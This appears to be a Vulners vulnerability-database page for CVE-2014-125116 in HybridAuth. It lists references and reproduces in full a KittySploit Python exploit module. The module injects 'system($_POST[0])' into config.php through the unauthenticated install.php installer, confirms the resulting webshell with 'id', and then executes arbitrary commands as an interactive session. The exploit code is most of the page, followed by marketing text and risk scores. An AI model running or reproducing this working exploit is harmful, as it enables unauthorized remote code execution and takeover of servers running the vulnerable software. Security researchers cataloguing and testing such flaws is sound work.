HybridAuth - install.php RCE (CVE-2014-125116)
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| CVE-2014-125116 | 29 May 201815:50 | – | circl | |
| Hybridauth 安全漏洞 | 25 Jul 202500:00 | – | cnnvd | |
| CVE-2014-125116 | 25 Jul 202515:51 | – | cve | |
| CVE-2014-125116 HybridAuth 2.0.9 - 2.2.2 Unauthenticated RCE via install.php Configuration Injection | 25 Jul 202515:51 | – | cvelist | |
| EUVD-2014-9808 | 7 Oct 202500:30 | – | euvd | |
| HybridAuth - install.php RCE Detection (CVE-2014-125116) | 10 Aug 202606:19 | – | kittysploit | |
| CVE-2014-125116 | 25 Jul 202515:51 | – | mend | |
| HybridAuth install.php PHP Code Execution | 4 Aug 201400:00 | – | metasploit | |
| CVE-2014-125116 | 25 Jul 202516:15 | – | nvd | |
| HybridAuth <= 2.2.2 'install.php' RCE Vulnerability | 26 Aug 201400:00 | – | openvas |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""HybridAuth install.php / config.php RCE (CVE-2014-125116) — execute session."""
from __future__ import annotations
import re
from urllib.parse import quote
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'HybridAuth - install.php RCE (CVE-2014-125116)',
'description': (
'Exploits CVE-2014-125116 by writing system($_POST[0]) into config.php via the '
'HybridAuth installer, then invoking commands through config.php. Opens an '
'interactive execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2014-125116'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2014-125116'],
'tags': ['hybridauth', 'php', 'rce', 'unauth', 'cve-2014-125116'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 3,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'suggested_followups': ['scanner/http/cve_2014_125116_detect'],
},
},
}
base_path = OptString('', 'HybridAuth base path (empty = auto)', False, advanced=True)
_PAYLOAD = 'OPENID_ADAPTER_STATUS=system($_POST[0]))));/*'
def _bases(self) -> list[str]:
base = str(self.base_path or '').strip().rstrip('/')
if base:
return [base]
return ['/hybridauth', '/auth', '/social', '']
def _ensure_webshell(self) -> bool:
if getattr(self, '_webshell_ready', False) and getattr(self, '_hit_base', None) is not None:
return True
bases = [getattr(self, '_hit_base', None)] if getattr(self, '_hit_base', None) is not None else self._bases()
for base in bases:
if base is None:
continue
install = f'{base}/install.php'
r0 = self.http_request(method='GET', path=install, allow_redirects=False)
if not r0 or 'HybridAuth Installer' not in (r0.text or ''):
continue
self.http_request(
method='POST',
path=install,
data=self._PAYLOAD,
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
probe = self.http_request(
method='POST',
path=f'{base}/config.php',
data='0=id',
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
if probe and re.search(r'uid=\d+', probe.text or ''):
self._hit_base = base
self._webshell_ready = True
return True
return False
def execute(self, cmd: str) -> str:
if not self._ensure_webshell():
return ''
base = self._hit_base or ''
r = self.http_request(
method='POST',
path=f'{base}/config.php',
data=f'0={quote(str(cmd), safe="")}',
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
return (r.text or '') if r else ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {
'vulnerable': True,
'reason': 'CVE-2014-125116 confirmed via config.php webshell',
'confidence': 'high',
}
return {
'vulnerable': False,
'reason': 'HybridAuth installer webshell did not return command output',
'confidence': 'medium',
}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Sep 2026 06:36Current
6Medium risk
Vulners AI Score6
CVSS 49.3
EPSS0.0231
SSVC